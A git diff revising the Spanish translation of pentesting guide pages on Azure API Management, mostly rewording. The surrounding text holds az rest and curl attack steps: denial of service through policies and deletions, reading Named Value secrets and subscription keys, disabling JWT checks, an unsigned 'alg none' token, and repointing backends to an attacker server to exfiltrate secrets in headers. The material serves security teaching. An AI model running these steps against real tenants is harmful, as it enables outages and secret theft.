diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md index f89f1f11f..aea62f87c 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md @@ -2,8 +2,8 @@ {{#include ../../../banners/hacktricks-training.md}} -## `Microsoft.ApiManagement/service/apis/policies/write` or `Microsoft.ApiManagement/service/policies/write` -El atacante puede usar múltiples vectores para provocar un denial of service. Para bloquear el tráfico legítimo, el atacante añade políticas de rate-limiting y de cuota con valores extremadamente bajos, impidiendo efectivamente el acceso normal: +## `Microsoft.ApiManagement/service/apis/policies/write` o `Microsoft.ApiManagement/service/policies/write` +El atacante puede usar múltiples vectores para causar una denial of service. Para bloquear tráfico legítimo, el atacante agrega rate-limiting y quota policies con valores extremadamente bajos, impidiendo efectivamente el acceso normal: ```bash az rest --method PUT \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis//policies/policy?api-version=2024-05-01" \ @@ -15,7 +15,7 @@ az rest --method PUT \ } }' ``` -Para bloquear direcciones IP legítimas de clientes específicas, el atacante puede añadir políticas de filtrado de IP que rechacen solicitudes procedentes de direcciones seleccionadas: +Para bloquear direcciones IP legítimas de clientes concretas, el atacante puede añadir políticas de filtrado de IP que rechacen solicitudes desde las direcciones seleccionadas: ```bash az rest --method PUT \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis//policies/policy?api-version=2024-05-01" \ @@ -27,8 +27,8 @@ az rest --method PUT \ } }' ``` -## `Microsoft.ApiManagement/service/backends/write` or `Microsoft.ApiManagement/service/backends/delete` -Para provocar que las solicitudes fallen, el atacante puede modificar la configuración del backend y cambiar su URL a una dirección inválida o inaccesible: +## `Microsoft.ApiManagement/service/backends/write` o `Microsoft.ApiManagement/service/backends/delete` +Para provocar que las requests fallen, el atacante puede modificar la configuración de un backend y cambiar su URL a una dirección inválida o inalcanzable: ```bash az rest --method PUT \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" \ @@ -47,14 +47,14 @@ az rest --method DELETE \ --headers "If-Match=*" ``` ## `Microsoft.ApiManagement/service/apis/delete` -Para dejar APIs críticas inaccesibles, el atacante puede eliminarlas directamente desde el servicio API Management: +Para dejar APIs críticas indisponibles, el atacante puede eliminarlas directamente desde el servicio API Management: ```bash az rest --method DELETE \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis/?api-version=2024-05-01" \ --headers "If-Match=*" ``` ## `Microsoft.ApiManagement/service/write` or `Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action` -Para bloquear el acceso desde Internet, el atacante puede deshabilitar el acceso público a la red en el servicio API Management: +Para bloquear el acceso desde Internet, el atacante puede deshabilitar el acceso público al servicio de API Management: ```bash az rest --method PATCH \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service/?api-version=2024-05-01" \ @@ -66,7 +66,7 @@ az rest --method PATCH \ }' ``` ## `Microsoft.ApiManagement/service/subscriptions/delete` -Para bloquear el acceso de usuarios legítimos, el atacante puede eliminar subscriptions de API Management: +Para bloquear el acceso de usuarios legítimos, el atacante puede eliminar las suscripciones de API Management: ```bash az rest --method DELETE \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//subscriptions/?api-version=2024-05-01" \ diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md index b20411bb8..dc59ddc64 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md @@ -4,12 +4,12 @@ ## `Microsoft.ApiManagement/service/namedValues/read` & `Microsoft.ApiManagement/service/namedValues/listValue/action` -El ataque consiste en acceder a secretos sensibles almacenados en Azure API Management Named Values, ya sea recuperando directamente los valores secretos o abusando de permisos para obtener secretos respaldados por Key Vault mediante managed identities. +El ataque consiste en acceder a secretos sensibles almacenados en Azure API Management Named Values, ya sea recuperando directamente los valores secretos o abusando de permisos para obtener secretos respaldados por Key Vault a través de managed identities. ```bash az apim nv show-secret --resource-group --service-name --named-value-id ``` ## `Microsoft.ApiManagement/service/subscriptions/read` & `Microsoft.ApiManagement/service/subscriptions/listSecrets/action` -Para cada suscripción, el atacante puede obtener las claves de la suscripción usando el endpoint listSecrets con el método POST: +Para cada suscripción, el atacante puede obtener las claves de suscripción usando el endpoint listSecrets con el método POST: ```bash az rest --method POST \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//subscriptions//listSecrets?api-version=2024-05-01" @@ -21,14 +21,14 @@ https://.azure-api.net/ ``` El atacante puede acceder a todas las APIs y productos asociados con la suscripción. Si la suscripción tiene acceso a productos o APIs sensibles, el atacante puede obtener información confidencial o realizar operaciones no autorizadas. -## `Microsoft.ApiManagement/service/policies/write` or `Microsoft.ApiManagement/service/apis/policies/write` +## `Microsoft.ApiManagement/service/policies/write` o `Microsoft.ApiManagement/service/apis/policies/write` -El atacante primero recupera la política actual de la API: +El atacante primero obtiene la política actual de la API: ```bash az rest --method GET \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis//policies/?api-version=2024-05-01&format=rawxml" ``` -El atacante puede modificar la política de múltiples maneras según sus objetivos. Por ejemplo, para desactivar la autenticación, si la política incluye validación de tokens JWT, el atacante puede eliminar o comentar esa sección: +El atacante puede modificar la política de múltiples maneras según sus objetivos. Por ejemplo, para deshabilitar la autenticación, si la política incluye JWT token validation, el atacante puede eliminar o comentar esa sección: ```xml @@ -84,9 +84,9 @@ az rest --method PUT \ } }' ``` -## Misconfiguración de validación de JWT +## Misconfiguración en la validación de JWT -El atacante necesita saber que una API usa validación de tokens JWT y que la policy está mal configurada. Las policies de validación de JWT mal configuradas pueden tener `require-signed-tokens="false"` o `require-expiration-time="false"`, lo que permite que el servicio acepte tokens sin firmar o tokens que nunca expiran. +El atacante necesita saber que una API usa la validación de tokens JWT y que la policy está mal configurada. Las políticas de validación de JWT mal configuradas pueden tener `require-signed-tokens="false"` o `require-expiration-time="false"`, lo que permite al servicio aceptar tokens sin firmar o tokens que nunca expiran. El atacante crea un token JWT malicioso usando el algoritmo none (sin firmar): ``` @@ -100,7 +100,7 @@ curl -X GET \ -H "Authorization: Bearer eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0." \ https://.azure-api.net/path ``` -Si la política está mal configurada con `require-signed-tokens="false"`, el servicio aceptará el token no firmado. El atacante también puede crear un token sin un expiration claim si `require-expiration-time="false"`. +Si la política está mal configurada con `require-signed-tokens="false"`, el servicio aceptará el token sin firmar. El atacante también puede crear un token sin una claim de expiración si `require-expiration-time="false"`. ## `Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action` El atacante primero verifica la configuración de red actual del servicio: @@ -110,7 +110,7 @@ az rest --method GET \ ``` El atacante revisa la respuesta JSON para verificar los valores de `publicNetworkAccess` y `virtualNetworkType`. Si `publicNetworkAccess` está establecido en false o `virtualNetworkType` está establecido en Internal, el servicio está configurado para acceso privado. -Para exponer el servicio a Internet, el atacante debe cambiar ambos ajustes. Si el servicio se está ejecutando en modo interno (`virtualNetworkType: "Internal"`), el atacante lo cambia a None o External y habilita el acceso de red público. Esto se puede hacer usando la Azure Management API: +Para exponer el servicio a Internet, el atacante debe cambiar ambas configuraciones. Si el servicio se está ejecutando en modo interno (`virtualNetworkType: "Internal"`), el atacante lo cambia a None o External y habilita el acceso a la red pública. Esto se puede hacer usando la Azure Management API: ```bash az rest --method PATCH \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service/?api-version=2024-05-01" \ @@ -122,7 +122,7 @@ az rest --method PATCH \ } }' ``` -Una vez que `virtualNetworkType` se establece en `None` o `External` y `publicNetworkAccess` está habilitado, el servicio y todas sus APIs se vuelven accesibles desde Internet, incluso si anteriormente estaban protegidos detrás de una red privada o endpoints privados. +Una vez que `virtualNetworkType` se establece en `None` o `External` y `publicNetworkAccess` está habilitado, el servicio y todas sus APIs se vuelven accesibles desde Internet, incluso si estaban protegidos previamente detrás de una red privada o endpoints privados. ## `Microsoft.ApiManagement/service/backends/write` El atacante primero enumera los backends existentes para identificar cuál modificar: @@ -130,12 +130,12 @@ El atacante primero enumera los backends existentes para identificar cuál modif az rest --method GET \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends?api-version=2024-05-01" ``` -El atacante obtiene la configuración actual del backend que quiere modificar: +El atacante recupera la configuración actual del backend que quiere modificar: ```bash az rest --method GET \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" ``` -El atacante modifica la URL del backend para que apunte a un servidor bajo su control. Primero, obtienen el ETag de la respuesta anterior y luego actualizan el backend: +El atacante modifica el backend URL para apuntar a un servidor bajo su control. Primero, obtiene el ETag de la respuesta anterior y luego actualiza el backend: ```bash az rest --method PUT \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" \ @@ -148,7 +148,7 @@ az rest --method PUT \ } }' ``` -Alternativamente, el atacante puede configurar cabeceras de backend para exfiltrar Named Values que contengan secretos. Esto se hace a través de la configuración de credenciales de backend: +Alternativamente, el atacante puede configurar cabeceras del backend para exfiltrar Named Values que contienen secretos. Esto se hace mediante la configuración de credenciales del backend: ```bash az rest --method PUT \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" \ @@ -165,6 +165,6 @@ az rest --method PUT \ } }' ``` -Con esta configuración, Named Values se envían como encabezados en todas las solicitudes al backend controlado por el atacante, lo que permite la exfiltración de secretos sensibles. +Con esta configuración, Named Values se envían como headers en todas las solicitudes al backend controlado por el atacante, permitiendo la exfiltración de secretos sensibles. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-api-management.md b/src/pentesting-cloud/azure-security/az-services/az-api-management.md index f382ce37e..d22704244 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-api-management.md +++ b/src/pentesting-cloud/azure-security/az-services/az-api-management.md @@ -2,45 +2,45 @@ {{#include ../../../banners/hacktricks-training.md}} -## Información básica +## Basic Information Azure API Management (APIM) es un servicio totalmente gestionado que ofrece una **plataforma unificada para publicar, asegurar, transformar, gestionar y monitorizar APIs**. Permite a las organizaciones **centralizar su estrategia de API** y asegurar una gobernanza, rendimiento y seguridad consistentes en todos sus servicios. Al actuar como una capa de abstracción entre los servicios backend y los consumidores de APIs, APIM simplifica la integración y mejora la mantenibilidad mientras proporciona capacidades operativas y de seguridad esenciales. -## Conceptos clave +## Core Concepts -**El API Gateway** sirve como el punto de entrada único para todo el tráfico de API, manejando funciones como enrutar solicitudes a los servicios backend, aplicar límites de velocidad, almacenar en caché respuestas y gestionar autenticación y autorización. Este gateway está totalmente alojado y gestionado por Azure, garantizando alta disponibilidad y escalabilidad. +**The API Gateway** sirve como el único punto de entrada para todo el tráfico de API, manejando funciones como enrutar solicitudes a los servicios backend, aplicar límites de tasa, cachear respuestas y gestionar autenticación y autorización. Este gateway está completamente alojado y gestionado por Azure, asegurando alta disponibilidad y escalabilidad. -**El Developer Portal** proporciona un entorno de autoservicio donde los consumidores de APIs pueden descubrir las APIs disponibles, leer la documentación y probar endpoints. Ayuda a agilizar el onboarding ofreciendo herramientas interactivas y acceso a la información de suscripciones. +**The Developer Portal** ofrece un entorno de autoservicio donde los consumidores de APIs pueden descubrir las APIs disponibles, leer la documentación y probar endpoints. Ayuda a agilizar la incorporación ofreciendo herramientas interactivas y acceso a la información de suscripciones. -**El Management Portal (Management Plane)** es utilizado por los administradores para configurar y mantener el servicio APIM. Desde aquí, los usuarios pueden definir APIs y operaciones, configurar control de acceso, aplicar políticas, gestionar usuarios y organizar APIs en products. Este portal centraliza la administración y asegura una gobernanza de API consistente. +**The Management Portal (Management Plane)** es utilizado por los administradores para configurar y mantener el servicio APIM. Desde aquí, los usuarios pueden definir APIs y operaciones, configurar control de acceso, aplicar policies, gestionar usuarios y organizar APIs en productos. Este portal centraliza la administración y asegura una gobernanza consistente de las APIs. -## Autenticación y autorización +## Authentication and Authorization -Azure API Management soporta varios **mecanismos de autenticación** para asegurar el acceso a las APIs. Estos incluyen **claves de suscripción**, **tokens OAuth 2.0** y **certificados de cliente**. APIM también se integra de forma nativa con **Microsoft Entra ID**, habilitando **gestión de identidad a nivel empresarial** y **acceso seguro** tanto a las APIs como a los servicios backend. +Azure API Management soporta varios **mecanismos de autenticación** para asegurar el acceso a las APIs. Estos incluyen **subscription keys**, **OAuth 2.0 tokens**, y **client certificates**. APIM también se integra de forma nativa con **Microsoft Entra ID**, habilitando **gestión de identidad a nivel empresarial** y **acceso seguro** tanto a las APIs como a los servicios backend. -## Políticas +## Policies -Las políticas en APIM permiten a los administradores personalizar el **procesamiento de solicitudes y respuestas** en varias granularidades, incluyendo el nivel de **servicio**, **API**, **operación** o **product**. A través de políticas, es posible aplicar **validación de tokens JWT**, **transformar payloads XML o JSON**, **aplicar limitación de tasa**, **restringir llamadas por dirección IP** o **autenticar contra servicios backend usando managed identities**. Las políticas son **altamente flexibles** y forman una de las **fortalezas principales** de la plataforma API Management, permitiendo **control fino sobre el comportamiento en tiempo de ejecución** sin modificar el código backend. +Las policies en APIM permiten a los administradores personalizar el **procesamiento de solicitudes y respuestas** en varios niveles de granularidad, incluyendo el nivel de **service**, **API**, **operation** o **product**. A través de policies, es posible imponer **validación de tokens JWT**, **transformar cargas XML o JSON**, **aplicar rate limiting**, **restringir llamadas por dirección IP**, o **autenticar contra servicios backend usando managed identities**. Las policies son **altamente flexibles** y constituyen una de las **principales fortalezas** de la plataforma API Management, permitiendo **control fino sobre el comportamiento en tiempo de ejecución** sin modificar el código backend. -## Valores con nombre +## Named Values -El servicio proporciona un mecanismo llamado **Valores con nombre**, que permite almacenar **información de configuración** como **secretos**, **API keys**, u otros valores requeridos por las políticas. +El servicio proporciona un mecanismo llamado **Named Values**, que permite almacenar **información de configuración** como **secretos**, **API keys**, u otros valores requeridos por las policies. -Estos valores pueden almacenarse directamente dentro de APIM o referenciarse de forma segura desde **Azure Key Vault**. Los Valores con nombre fomentan una **gestión segura y centralizada** de los datos de configuración y simplifican la creación de políticas al permitir **referencias reutilizables** en lugar de valores hardcodeados. +Estos valores pueden almacenarse directamente dentro de APIM o referenciarse de forma segura desde **Azure Key Vault**. Named Values promueven la **gestión centralizada y segura** de datos de configuración y simplifican la redacción de policies permitiendo **referencias reutilizables** en lugar de valores hardcodeados. -## Integración de red y seguridad +## Networking and Security Integration -Azure API Management se integra sin problemas con entornos de **Virtual Network (VNet)**, permitiendo **conectividad privada y segura** a sistemas backend. +Azure API Management se integra sin problemas con **entornos de red virtual**, habilitando **conectividad privada y segura** con sistemas backend. -Cuando se despliega dentro de una **Virtual Network (VNet)**, APIM puede acceder a **servicios internos** sin exponerlos públicamente. El servicio también permite la configuración de **certificados personalizados** para soportar **autenticación TLS mutua** con servicios backend, mejorando la seguridad en escenarios donde se requiere una **validación de identidad sólida**. +Cuando se despliega dentro de una **Virtual Network (VNet)**, APIM puede acceder a **servicios internos** sin exponerlos públicamente. El servicio también permite la configuración de **certificados personalizados** para soportar **autenticación mutua TLS** con servicios backend, mejorando la seguridad en escenarios donde se requiere una **validación de identidad fuerte**. -Estas **características de red** hacen que APIM sea adecuado tanto para arquitecturas **nativas de la nube** como **híbridas**. +Estas **características de red** hacen que APIM sea adecuado tanto para arquitecturas **cloud-native** como **híbridas**. -### Enumerar +### Enumerate -Para enumerar el servicio de API Management: +To enumerate the API management service: ```bash # Lists all Named Values configured in the Azure API Management instance az apim nv list --resource-group --service-name